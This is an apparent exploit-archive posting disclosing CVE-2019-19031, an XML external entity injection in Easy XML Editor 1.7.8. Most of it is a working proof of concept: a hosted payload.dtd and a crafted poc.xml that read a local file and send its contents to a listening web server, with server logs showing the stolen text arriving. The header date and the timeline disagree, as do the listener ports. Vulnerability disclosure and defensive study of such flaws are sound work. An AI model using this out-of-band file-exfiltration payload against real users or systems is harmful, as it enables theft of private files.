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Easy XML Editor 1.7.8 XML Injection

Easy XML Editor 1.7.8 XML Injection
Posted Jan 20, 2020
Authored by Javier Olmedo

Easy XML Editor version 1.7.8 suffers from an XML external entity injection vulnerability.

tags | exploit
advisories | CVE-2019-19031
SHA-256 | 4753d87c7b3d65ef94e40afc90803be61775b1d49de50248e6006eaa9166836d

Easy XML Editor 1.7.8 XML Injection

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# Exploit Title: Easy XML Editor 1.7.8 - XML External Entity Injection
# Exploit Author: Javier Olmedo
# Date: 2018-11-21
# Vendor: Richard Wuerflein
# Software Link: https://www.edit-xml.com/Easy_XML_Editor.exe
# Affected Version: 1.7.8 and before
# Patched Version: unpatched
# Category: Local
# Platform: XML
# Tested on: Windows 10 Pro
# CWE: https://cwe.mitre.org/data/definitions/611.html
# CVE: 2019-19031
# References:
# https://hackpuntes.com/cve-2019-19031-easy-xml-editor-1-7-8-inyeccion-xml/

# 1. Technical Description
# Easy XML Editor version 1.7.8 and before are affected by XML External Entity Injection vulnerability
# through the malicious XML file. This allows a malicious user to read arbitrary files.

# 2. Proof Of Concept (PoC)
# 2.1 Start a webserver to receive the connection.

python -m SimpleHTTPServer 80

# 2.2 Upload the payload.dtd file to your web server.

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:80/?%file;'>">
%all;

# 2.3 Create a SECRET.TXT file with any content in desktop.

# 2.4 Open poc.xml

<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "file:///C:\Users\<USER>\Desktop\secret.txt">
<!ENTITY % dtd SYSTEM "http://localhost:80/payload.dtd">
%dtd;]>
<pwn>&send;</pwn>

# 2.5 Your web server will receive a request with the contents of the secret.txt file

Serving HTTP on 0.0.0.0 port 8000 ...
192.168.100.23 - - [11/Nov/2019 08:23:52] "GET /payload.dtd HTTP/1.1" 200 -
192.168.100.23 - - [11/Nov/2019 08:23:52] "GET /?THIS%20IS%20A%20SECRET%20FILE HTTP/1.1" 200 -

# 3. Timeline
# 13, november 2019 - [RESEARCHER] Discover
# 13, november 2019 - [RESEARCHER] Report to vendor support
# 14, november 2019 - [DEVELOPER] Unrecognized vulnerability
# 15, november 2019 - [RESEARCHER] Detailed vulnerability report
# 22, november 2019 - [RESEARCHER] Public disclosure

# 4. Disclaimer
# The information contained in this notice is provided without any guarantee of use or otherwise.
# The redistribution of this notice is explicitly permitted for insertion into vulnerability
# databases, provided that it is not modified and due credit is granted to the author.
# The author prohibits the malicious use of the information contained herein and accepts no responsibility.
# All content (c)
# Javier Olmedo
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